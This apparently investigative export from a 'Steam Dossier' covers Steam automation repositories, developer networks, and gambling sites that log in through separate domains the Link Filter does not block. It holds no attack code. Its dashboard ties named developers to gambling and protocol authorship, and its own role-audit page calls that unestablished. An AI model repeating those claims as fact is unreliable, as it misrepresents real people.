            "label": "Module 01 · Repository & Protocol Evidence Public Developer & Repository Infrastructure Detailed forensic catalog of 252 open-source repositories powering Steam automation. Traces how standard software engineering tools implement Valve's published API endpoints without exploits. 252Repositories 4,554Role Links Inspect repository evidence →",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/valve_ru_farming_isolated.html"
          },
          {
            "label": "Module 02 · Ecosystem Demographics Global Engineering Ecosystem Metrics Geographic and institutional breakdown of 3,320 software engineers contributing to the Steam automation ecosystem, including corporate affiliations across major technology employers. 3,320Engineers 98,902Connection Pairs Inspect ecosystem metrics →",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/steam_ecosystem_dashboard.html"
          },
          {
            "label": "Module 03 · Interactive Visual Graph Interactive Protocol & Developer Network Graph Comprehensive Vis.js interactive network graph mapping repositories, protocol libraries (SteamKit, Steamworks, ASF), and cross-project contributor overlaps. Visually demonstrates the legitimate, interconnected open-source software architecture powering Steam's automation ecosystem. InteractiveVis.js Engine Cluster IsolationLive Search Zero ExploitsStandard APIs Launch interactive network graph →",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/network.html"
          },
          {
            "label": "network.html",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/network.html"
          },
          {
            "label": "BI Metrics",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/steam_ecosystem_dashboard.html"
          }
        ],
        "tables": [],
        "cited_source_ids": []
      },
      "resources": []
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "output_steam_network/network",
      "language": "en",
      "title": "Developer & repository explorer — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/network.html",
      "source_file": "steam_dossier/output_steam_network/network.html",
      "source_html_sha256": "0a6eba7b1b0327baea0cc2cd397a0dbf9737a1364b7dd8e5b5fc8c312d13eabd",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [
          {
            "kind": "interactive_collection",
            "label": "Explore the retained repository and profile network online.",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/network.html#ed-network-status"
          }
        ],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "output_steam_network__network.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__network.pdf",
        "sha256": "5bb6fb36f584d263a33043afa914fd298b04e96db27e1b4a0e4938101eeb24f5",
        "bytes": 168224,
        "pages": 4
      },
      "integrity": {
        "signed_object": "output_steam_network__network.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__network.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__network.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nDeveloper & repository explorer\n\nSearch a node. Inspect the recorded relationship.\n\nCollection scope and original graph totals\nTotal Devs 3,320\nTotal Repos 252\nDISPLAYED GRAPH / COLLECTION SUBSET 468 NODES • 1103 EDGES\n\n💡 Click on any node on the graph or type in Search to inspect its collected connections and source paths.\n\nExplore the retained repository and profile network online.\n\nSelect a node\n\nOpen a profile or repository to read its recorded relationships and source paths.\n\n── Contribution┄┄ ForkDependency / Profile association: not encoded in this graph export.\n\nThis view contains 468 nodes and 1,103 exported relationship rows. One row connects the recorded source node to a target node with its retained relationship label. The complete collection totals above use a different population. Original graph export · Data used in this view",
        "headings": [
          {
            "level": 1,
            "text": "Developer & repository explorer",
            "anchor": "pd-output_steam_network__network--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/network.html"
          },
          {
            "level": 2,
            "text": "Select a node",
            "anchor": "pd-output_steam_network__network--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/network.html#ed-node-inspector"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/network.html"
          },
          {
            "label": "Explore the retained repository and profile network online.",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/network.html#ed-network-status"
          },
          {
            "label": "Original graph export",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/network-graph.js"
          },
          {
            "label": "Data used in this view",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/editorial-graph-data.json"
          }
        ],
        "tables": [],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/output_steam_network/editorial-graph-data.json",
          "sha256": "b25268975e62105806ee2a8cc77fdaa1c84b76d2e6c09afde311ecd4d61f8c90",
          "bytes": 592507
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "output_steam_network/steam_ecosystem_dashboard",
      "language": "en",
      "title": "The collected network in numbers — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/steam_ecosystem_dashboard.html",
      "source_file": "steam_dossier/output_steam_network/steam_ecosystem_dashboard.html",
      "source_html_sha256": "dec023aa2c35a4de369574f7e16f537d89f2a291bdcd3258f07b946943b17726",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "output_steam_network__steam_ecosystem_dashboard.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__steam_ecosystem_dashboard.pdf",
        "sha256": "9b8ab7a96ee881d5daa3cc5b4769985162b7be0601332cb43aebdd6bf5d4d811",
        "bytes": 205943,
        "pages": 5
      },
      "integrity": {
        "signed_object": "output_steam_network__steam_ecosystem_dashboard.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__steam_ecosystem_dashboard.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__steam_ecosystem_dashboard.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nSTATISTICS OVERVIEW // FILE 02\nSteam Ecosystem Dashboard — The Network In Numbers\n\nThe network, in numbers.\n\nWHAT THIS SECTION PROVES\n\nThis dashboard aggregates structural intelligence across 3,320 developers and 252 repositories, identifying 68 gambling-specific codebases and cross-platform connection bridges. The empirical data highlights geographic clustering and developer overlaps showing that third-party skin gambling infrastructure operates as an organized, highly interconnected software industry integrated with Steam's platform.\n\n← Back to Executive briefing\n\nConsolidated statistics of the investigation database: geographic distribution, top companies, skins gambling repositories, and active connection bridges.\n\nScanned Devs 3320\nTotal Repos 252\nGambling Repos 68\nTotal Connections 1,426\nStructure and Sectors of Automation\nSector I — Valve Corporation Core\n\nOfficial repositories and systems software. Confirmed development space of Valve employees Nephyrin and Joe Ludwig.\n\nSector II — Authorization Engines & Protocol Emulators (SteamKit)\n\nReverse-engineered network libraries co-authored by Valve's Nephyrin and skins gambling developer DoctorMcKay.\n\nSector III — Card Farming Clients (ArchiSteamFarm)\n\nUtilize SteamKit protocol emulators to run millions of fake clients (idling) in the background to farm trading cards.\n\nRecorded profile locations\n\n3,320 profiles · 1,135 with a supplied location · 2,185 Unknown (65.8%). Snapshot date labelled by the original page: 17 September 2026.\n\nLiteral labels from country_summary.csv. Country names, cities and other self-entered values are retained without additional normalization.\n\nGermany57\nPoland30\nUSA29\nFrance28\nChina27\nCA25\nUK24\nWA23\nUnited States23\nCanada23\nRussia23\nUnited Kingdom20\nOriginal geographic summary 1 — retained for comparison\n\nThe earlier summaries used different displayed values: Canada 48 / 25; United Kingdom 44 / 24. Their aggregation transformation is not recorded in the retained CSV. The main chart above is reproducible from the literal CSV labels; the earlier values remain here unchanged.\n\nDeveloper Geography\nGermany 57\nUnited States 52\nCanada 48\nUnited Kingdom 44\nPoland 30\nFrance 28\nRussian Federation 27\nChina 27\nUSA (Washington State) 23\nAustralia 19",
        "headings": [
          {
            "level": 1,
            "text": "Steam Ecosystem Dashboard — The Network In Numbers",
            "anchor": "pd-output_steam_network__steam_ecosystem_dashboard--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/steam_ecosystem_dashboard.html"
          },
          {
            "level": 3,
            "text": "Sector I — Valve Corporation Core",
            "anchor": "pd-output_steam_network__steam_ecosystem_dashboard--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/steam_ecosystem_dashboard.html"
          },
          {
            "level": 3,
            "text": "Sector II — Authorization Engines & Protocol Emulators (SteamKit)",
            "anchor": "pd-output_steam_network__steam_ecosystem_dashboard--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/steam_ecosystem_dashboard.html"
          },
          {
            "level": 3,
            "text": "Sector III — Card Farming Clients (ArchiSteamFarm)",
            "anchor": "pd-output_steam_network__steam_ecosystem_dashboard--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/steam_ecosystem_dashboard.html"
          },
          {
            "level": 2,
            "text": "Recorded profile locations",
            "anchor": "pd-output_steam_network__steam_ecosystem_dashboard--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/steam_ecosystem_dashboard.html"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/steam_ecosystem_dashboard.html"
          },
          {
            "label": "← Back to Executive briefing",
            "url": "https://phishdestroy.io/steam_dossier/index.html#briefing-heading"
          },
          {
            "label": "country_summary.csv",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/country_summary.csv"
          }
        ],
        "tables": [],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/output_steam_network/country_summary.csv",
          "sha256": "37d899f010f5dcb8fb784098b1e7583e2f3fc8626a8ebcb9976c0cb183c8e356",
          "bytes": 40225
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "output_steam_network/valve_ru_farming_isolated",
      "language": "en",
      "title": "Code, contributors & forks — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/valve_ru_farming_isolated.html",
      "source_file": "steam_dossier/output_steam_network/valve_ru_farming_isolated.html",
      "source_html_sha256": "ba91a21218d0efab89ab6da3fde70bb0f4c135ba82b7f8cceeb34a1918403725",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "output_steam_network__valve_ru_farming_isolated.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__valve_ru_farming_isolated.pdf",
        "sha256": "c9421781b29386117627bd43a46b308a41a45af6a374bea7da66b005bb91abb8",
        "bytes": 176020,
        "pages": 5
      },
      "integrity": {
        "signed_object": "output_steam_network__valve_ru_farming_isolated.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__valve_ru_farming_isolated.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/output_steam_network__valve_ru_farming_isolated.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nPART II / FOLLOW THE DOCUMENTED RELATIONSHIP\n\nForks, contributions and software dependencies are distinct evidence. This view preserves the collected roles; employment, security bypasses and criminal involvement require additional sources.\n\nOpen the interactive capability map ↗\nPUBLIC SOURCES / ROLE AUDIT\nThe code. The contributors. The forks.\n1. Nephyrin: forks and contributions\n\nThe supplied snapshot labels Nephyrin a contributor to ValveSoftware/Proton and a forker of SteamRE/SteamKit and SteamRE/open-steamworks. Its profile data lists Valve Software. These fields should be read separately.\n\nA fork records a repository copy. This export does not attach a commit establishing changes to SteamKit authentication code.\nRepository references / inspect the history\nSteamRE/SteamKit ↗ SteamRE/open-steamworks ↗\n2. Public capabilities: automation without the desktop client\n\nSteamKit and node-steam-user expose programmatic interactions with Steam. ArchiSteamFarm documents multi-account card farming and declares SteamKit2 as a dependency.\n\nThese are concrete automation capabilities. Headless execution does not establish exclusive commercial use or a bypass of Steam Guard. The relevant questions are the requested credential, the actions available to it and the controls applied by the platform.\n\nSource: project READMEs and ArchiSteamFarm.csproj. The capability map links each documented dependency.\n3. JoeLudwig: the hl2sdk contributor label\n\nThe snapshot lists JoeLudwig as a contributor to alliedmodders/hl2sdk, ValveSoftware/openvr and ValveSoftware/source-sdk-2013. That is an observable project relationship. The export does not supply evidence tying a particular SDK change to a theft or gambling deployment.\n\nRepository references / inspect the history\nalliedmodders/hl2sdk ↗ DoctorMcKay/node-steam-user ↗\nLOGIC SCHEMATIC // TRACES\nConnection Logic Flow-chart:\nPROFILE RELATIONSHIP\nNephyrin / collected profile\nContributor: Proton. Forker: SteamKit and open-steamworks.\n▼ Collected fork relationship\nCOMMUNITY LIBRARY\nSteamRE/SteamKit\nPublic Steam network library maintained in the SteamRE organization.\n▼ Declared SteamKit2 dependency\nDOCUMENTED AUTOMATION\nJustArchiNET/ArchiSteamFarm\nDocuments card farming across multiple accounts and a SteamKit2 dependency.\nEVIDENCE REVIEW / SOURCE SNAPSHOT\nRECORDED: distinct contributor and forker labels.\nDOCUMENTED: public libraries support programmatic Steam interactions.\nOPEN QUESTION: specific code authorship, platform approval and abuse attribution require separate evidence.",
        "headings": [
          {
            "level": 1,
            "text": "The code. The contributors. The forks.",
            "anchor": "pd-output_steam_network__valve_ru_farming_isolated--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/valve_ru_farming_isolated.html"
          },
          {
            "level": 2,
            "text": "1. Nephyrin: forks and contributions",
            "anchor": "pd-output_steam_network__valve_ru_farming_isolated--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/valve_ru_farming_isolated.html"
          },
          {
            "level": 2,
            "text": "2. Public capabilities: automation without the desktop client",
            "anchor": "pd-output_steam_network__valve_ru_farming_isolated--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/valve_ru_farming_isolated.html"
          },
          {
            "level": 2,
            "text": "3. JoeLudwig: the hl2sdk contributor label",
            "anchor": "pd-output_steam_network__valve_ru_farming_isolated--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/output_steam_network/valve_ru_farming_isolated.html"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/output_steam_network/valve_ru_farming_isolated.html"
          },
          {
            "label": "Open the interactive capability map ↗",
            "url": "https://phishdestroy.io/steam_dossier/investigation_part2.html#automation-map"
          },
          {
            "label": "SteamRE/SteamKit ↗",
            "url": "https://github.com/SteamRE/SteamKit"
          },
          {
            "label": "SteamRE/open-steamworks ↗",
            "url": "https://github.com/SteamRE/open-steamworks"
          },
          {
            "label": "alliedmodders/hl2sdk ↗",
            "url": "https://github.com/alliedmodders/hl2sdk"
          },
          {
            "label": "DoctorMcKay/node-steam-user ↗",
            "url": "https://github.com/DoctorMcKay/node-steam-user"
          }
        ],
        "tables": [],
        "cited_source_ids": []
      },
      "resources": []
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "regulatory_act_print",
      "language": "en",
      "title": "FORENSIC AUDIT ACT: Valve Steam Web API Ecosystem & Commercial Exploitation (Ref: VAL-REG-2026-09)",
      "author": "phishdestroy.io Forensic Research Coalition",
      "source_url": "https://phishdestroy.io/steam_dossier/regulatory_act_print",
      "source_file": "steam_dossier/regulatory_act_print.html",
      "source_html_sha256": "72cb290d94bea0d41e2ffc952b3e8c89f1abe94191c95c13b4c1d14181cb91af",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "regulatory_act_print.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/regulatory_act_print.pdf",
        "sha256": "09384693a08708c7d58268153366a63998466b86d29d1befa4251c832a8af40b",
        "bytes": 400560,
        "pages": 18
      },
      "integrity": {
        "signed_object": "regulatory_act_print.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/regulatory_act_print.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/regulatory_act_print.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nphishdestroy.io · Forensic Research Coalition · Universal Public Record\nDOCKET: VAL-REG-2026-09-EVID\nPROVENANCE: phishdestroy.io/steam_dossier/\nRIGHTS: ALL RIGHTS SURRENDERED TO HUMANITY\nForensic Audit Act & Regulatory Exhibit\nSystematic Third-Party API Provisioning, Automated Bypass Architecture & Contractual Non-Enforcement in the Valve Steam Ecosystem\nIssuing Domain phishdestroy.io\nTarget Platform Valve Steam / Steamworks\nPrimary Auth Vector Steam OpenID 2.0 / Web API\nLegal Dedication All Rights to Humanity (CC0)\nSection I: Executive Memorandum & Factual Findings REF: MEMO-SUMMARY-01\n\nThis document constitutes a formal forensic audit act examining the operational intersection between Valve Corporation's published commercial terms, its technical authentication endpoints, and observed third-party commercial platforms. The audit was conducted using passive, unauthenticated network observation, RDAP registration verification, and public Link Filter telemetry.\n\nFactual Core: Empirical observation establishes a systematic divergence between Valve's public contractual representations and its production infrastructure. While the Steam Subscriber Agreement (SSA) strictly prohibits unauthorized commercial exploitation (§ 2.G), automated bot/script interaction (§ 4.C), and account transfer (§ 1.C), Valve Corporation continues to provide live, programmatic OpenID authentication and inventory query infrastructure to at least 175 commercial entities generating multi-billion dollar secondary transaction volumes.\n\n175\nAudited Commercial Operators\n44\nSeparate-Domain Auth Hosts\n26\nFilter-Split Proxy Pairs\n100%\nUnenforced SSA § 2.G / § 4.C\n0\nEnforced Auth Revocations\nApplicable Contractual & Statutory Framework\nSSA § 2.G\nCommercial Use Prohibition: Expressly forbids exploiting Content and Services for commercial purposes without prior written authorization from Valve Corporation.\nSSA § 4.C\nAutomation Restriction: Strictly prohibits scripts, trading bots, macros, or non-human-controlled systems interacting with Steam services and markets.\nSSA § 1.C\nPersonal Use Mandate: Restricts accounts to personal use; expressly forbids selling, leasing, transferring, or trading Steam user accounts.\nEU DSA (2022/2065)\nSystemic Risk Assessment (Art. 34/35): Very Large Online Platforms (VLOPs) must actively detect, assess, and mitigate systemic risks stemming from automated misuse and unauthorized commercial exploitation.\nSection II: Exhibit Ledger A — Documented Link Filter Split Pairs (26 Routes) REF: EX-SPLIT-LEDGER\n\nForensic Analysis of Split-Domain Evasion: Under Valve's Steam Link Filter system (steamcommunity.com/linkfilter/?url=...), when an end-user clicks a link leading to a flagged gambling or black-market platform, Valve displays a prominent warning (\"Link Blocked! ... flagged as potentially malicious\"). However, forensic route tracing reveals 26 commercial platforms operating on a split-domain architecture: while the primary commercial domain is BLOCKED on the Link Filter, the secondary domain hosting Valve's OpenID return endpoint is marked CLEAN. Valve's OpenID servers accept authentication requests from these proxy hosts without interruption, neutralizing the consumer safety warning while continuing to process logins.\n\n#\tPrimary Commercial Domain\tMain Filter\tOpenID Auth Proxy Domain\tAuth Filter\tRDAP Registered\tCapture Basis\n01\trollbit.com\tBLOCKED\trbsnin.com\tCLEAN\t2026-09-18\tPASSIVE_CAPTURE\n02\tskin.club\tBLOCKED\tsc-auth.net\tCLEAN\t2019-04-02\tPASSIVE_CAPTURE\n03\thowl.gg\tBLOCKED\thowl.uno\tCLEAN\t2026-08-11\tPASSIVE_CAPTURE\n04\tduelbits.com\tBLOCKED\tswitchflips.com\tCLEAN\t2020-04-21\tPASSIVE_CAPTURE\n05\tcsgofast.com\tBLOCKED\tsteam-login.authtofast.com\tCLEAN\t2026-06-30\tPASSIVE_CAPTURE\n06\tfarmskins.com\tBLOCKED\tsteam.kobal.cc\tCLEAN\t2017-01-07\tPASSIVE_CAPTURE\n07\tcobaltlab.tech\tBLOCKED\tcobaltauth.com\tCLEAN\t2025-01-07\tPASSIVE_CAPTURE\n08\tcsgo.net\tBLOCKED\tcn2.easylot.net\tCLEAN\t2016-09-03\tPASSIVE_CAPTURE\n09\tggdrop.com\tBLOCKED\tggauth.com\tCLEAN\t2023-05-03\tPASSIVE_CAPTURE\n10\trustchance.com\tBLOCKED\thgfuihd.com\tCLEAN\t2019-01-27\tPASSIVE_CAPTURE\n11\tskin.fans\tBLOCKED\tauth.skinfans.com\tCLEAN\t2018-07-16\tPASSIVE_CAPTURE\n12\tskinport.com\tBLOCKED\tskinport.app\tCLEAN\t2020-06-20\tPASSIVE_CAPTURE\n13\tskins.cash\tBLOCKED\tskinscash.live\tCLEAN\t2019-12-05\tPASSIVE_CAPTURE\n14\ttf2hunt.com\tBLOCKED\trstspcl.com\tCLEAN\t2020-08-08\tPASSIVE_CAPTURE\n15\tdaddyskins.com\tBLOCKED\tgo-go-daddy.com\tCLEAN\t2019-01-26\tPASSIVE_CAPTURE\n16\tkey-drop.com\tBLOCKED\tkdauth.com\tCLEAN\t2026-05-13\tPASSIVE_CAPTURE\n17\tclash.gg\tBLOCKED\tclggauth.com\tCLEAN\t2024-09-16\tPASSIVE_CAPTURE\n18\tc5game.com\tBLOCKED\twww.imbastar.com\tCLEAN\t2016-02-27\tPASSIVE_CAPTURE\n19\tswap.gg\tBLOCKED\tswapauth.com\tCLEAN\t2018-10-06\tPASSIVE_CAPTURE\n20\tshadowpay.com\tBLOCKED\tthelogins.com\tCLEAN\t2018-01-22\tPASSIVE_CAPTURE\n21\tcsgocases.com\tBLOCKED\tlog-1n.com\tCLEAN\t2017-11-27\tPASSIVE_CAPTURE\n22\tcsgogem.com\tBLOCKED\tapi.csgem.com\tCLEAN\t2014-03-08\tPASSIVE_CAPTURE\n23\tgamdom.com\tBLOCKED\tlogin.gambldom.com\tCLEAN\t2017-09-24\tPASSIVE_CAPTURE\n24\t12cs.fail\tBLOCKED\tfail.games\tCLEAN\t2021-08-24\tPASSIVE_CAPTURE\n25\tskinsnipe.com\tBLOCKED\tpricing.tradeupspy.com\tCLEAN\t2020-03-11\tPASSIVE_CAPTURE\n26\tcsgobig.com\tBLOCKED\tletmeinbig.com\tCLEAN\t2023-01-20\tPASSIVE_CAPTURE\n\n* Note: Passive checks performed against unauthenticated Steam Link Filter endpoints on 2026-09-19 and 2026-09-21. Raw HTTP response bodies and SHA-256 digests preserved in repository dataset (steam_tos_assets/linkfilter-2026-09-22.json).\n\nSection III: Exhibit Ledger B — Comprehensive Census of 175 Audited Commercial Entities REF: EX-175-MASTER-CENSUS\n\nThe following register details all 175 third-party commercial platforms actively verified in the audit database. Each record indicates the entity name, primary commercial domain, observed Steam OpenID authentication route, activity classification, contractual breach mappings (SSA § 2.G, SSA § 4.C, SSA § 1.C), and the action field recorded in the source dataset. The label \"See dated evidence\" refers the reader to supporting records; it does not establish that Valve took no action. An absent action field is reported as not established.\n\nExhibit\tEntity Name & Main Domain\tObserved Auth Route / Proxy\tClassification\tContractual Breach\tValve Action\nEX-001\tCSGORoll\ncsgoroll.com\n\t\nwww.csgoroll.com\nDIRECT\n\tSkin Gambling\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-002\tCSGOEmpire\ncsgoempire.com\n\t\ncsgoempirelogin4.com\nSPLIT PROXY\n\tCasino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-003\tRollbit\nrollbit.com\n\t\nrbsnin.com\nSPLIT PROXY\n\tCrypto Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-004\t500 Casino\n500.casino\n\t\nfivezerozero.co\nSPLIT PROXY\n\tLicenced Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-005\tCSGOBig\ncsgobig.com\n\t\ncsgobig.com\nDIRECT\n\tRoulette/Slots\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-006\tCaseDrop\ncasedrop.com\n\t\ncasedrop.com\nDIRECT\n\tCase Opening\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-007\tRustReaper\nrustreaper.com\n\t\nrustreaper.com\nDIRECT\n\tRust Roulette\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-008\tBanditCamp\nbanditcamp.com\n\t\nbanditcamp.com\nDIRECT\n\tRust Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-009\tSkinBox\nskinbox.com\n\t\nskinbox.com\nDIRECT\n\tCase Opening\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-010\tTastyDrop\ntastydrop.com\n\t\ntastydrop.com\nDIRECT\n\tCase Opening\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-011\tCSGOPolygon\ncsgopolygon.gg\n\t\ncsgopolygon.gg\nDIRECT\n\tRoulette Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-012\tMagicDrop\nmagicdrop.ru\n\t\nmagicdrop.ru\nDIRECT\n\tCase Opening\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-013\tCSDice\ncsdice.com\n\t\ncsdice.com\nDIRECT\n\tDice Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-014\tRustly\nrustly.com\n\t\nrustly.com\nDIRECT\n\tRust Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-015\tSkinOdds\nskinodds.com\n\t\nskinodds.com\nDIRECT\n\tUpgrader Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-016\tCSGOWin\ncsgowin.com\n\t\ncsgowin.com\nDIRECT\n\tSkin Roulette\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-017\tCSGORun\ncsgorun.net\n\t\ncsgorun.net\nDIRECT\n\tCrash Casino\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-018\tOpenSkins\nopenskins.com\n\t\nopenskins.com\nDIRECT\n\tCase Opening\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-019\tRustBet\nrustbet.com\n\t\nrustbet.com\nDIRECT\n\tRust Gambling\tSSA § 2.G, SSA § 4.C\tSee dated evidence\nEX-020\tCSGOMagic\ncsgomagic.com\n\t\ncsgomagic.com\nDIRECT\n\tSkin Roulette\tSSA § 2.G, SSA § 4.C\tSee dated 